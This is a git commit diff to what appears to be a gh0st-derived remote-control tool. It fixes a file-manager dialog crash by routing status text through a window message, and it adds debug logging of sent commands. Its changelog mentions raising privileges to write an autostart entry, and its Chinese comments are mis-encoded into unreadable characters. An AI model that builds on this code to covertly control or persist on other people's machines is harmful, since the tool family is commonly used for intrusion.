fix: 文件管理对话框SetPaneText崩溃,传输故障

This commit is contained in:
yuanyuanxiang
2021-03-14 19:54:52 +08:00
parent 0a6641baec
commit 2c870f1952
6 changed files with 36 additions and 7 deletions

View File

@@ -216,3 +216,6 @@ TestRun在写入开机自启动项时先提升权限以防止因权限不足
2019.8.25
调整项目设置解决采用VS2015编译时某些项目不通过的问题。
2021.3.14
修复了若干个问题。

View File

@@ -26,7 +26,7 @@ CFileManager::~CFileManager()
m_UploadList.clear();
}
void CFileManager::OnReceive(PBYTE lpBuffer, UINT nSize)
VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
{
switch (lpBuffer[0])
{
@@ -442,7 +442,7 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
UINT CFileManager::SendFileData(LPBYTE lpBuffer)
{
UINT nRet;
UINT nRet = 0;
FILESIZE *pFileSize;
char *lpFileName;

View File

@@ -28,7 +28,7 @@ typedef struct
class CFileManager : public CManager
{
public:
void OnReceive(PBYTE lpBuffer, UINT nSize);
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
UINT SendDriveList();
CFileManager(CClientSocket *pClient, int h = 0);
virtual ~CFileManager();

View File

@@ -160,6 +160,7 @@ BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
ON_COMMAND(IDM_REMOTE_OPEN_HIDE, OnRemoteOpenHide)
ON_NOTIFY(NM_RCLICK, IDC_LIST_LOCAL, OnRclickListLocal)
ON_NOTIFY(NM_RCLICK, IDC_LIST_REMOTE, OnRclickListRemote)
ON_MESSAGE(WM_MY_MESSAGE, OnMyMessage)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
@@ -1110,14 +1111,17 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
void CFileManagerDlg::ShowMessage(char *lpFmt, ...)
{
char buff[1024];
char *buff = new char[1024];
va_list arglist;
va_start( arglist, lpFmt );
memset(buff, 0, sizeof(buff));
memset(buff, 0, 1024);
vsprintf(buff, lpFmt, arglist);
m_wndStatusBar.SetPaneText(0, buff);
// fix: <20><><EFBFBD>̲߳<DFB3><CCB2><EFBFBD><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// m_wndStatusBar.SetPaneText(0, buff);
// msg <20><>1<EFBFBD><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С,<2C><>2<EFBFBD><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
SendMessage(WM_MY_MESSAGE, 1024, (LPARAM)buff);
va_end( arglist );
}

View File

@@ -6,6 +6,8 @@
#endif // _MSC_VER > 1000
#include "gh0st2Remote.h"
#define WM_MY_MESSAGE (WM_USER+300)
// FileManagerDlg.h : header file
//
@@ -15,6 +17,16 @@ typedef CList<CString, CString&> strList;
class CFileManagerDlg : public CDialog
{
protected:
// <20><><EFBFBD><EFBFBD>״̬<D7B4><CCAC><EFBFBD><EFBFBD>Ϣ
afx_msg LRESULT OnMyMessage(WPARAM wParam, LPARAM lParam)
{
char *buff = (char*)lParam;
m_wndStatusBar.SetPaneText(0, buff);
delete[]buff;
return S_OK;
}
// Construction
public:
bool m_bIsStop;

View File

@@ -521,7 +521,17 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength)
{
assert (ContextObject);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
if (ulOriginalLength < 100) {
char buf[100] = { 0 };
if (ulOriginalLength == 1){
sprintf_s(buf, "command %d", int(szBuffer[0]));
}
else {
memcpy(buf, szBuffer, ulOriginalLength);
}
OutputDebugStringA("[COMMAND] Send: " + CString(buf) + "\r\n");
}
try
{
if (ulOriginalLength > 0)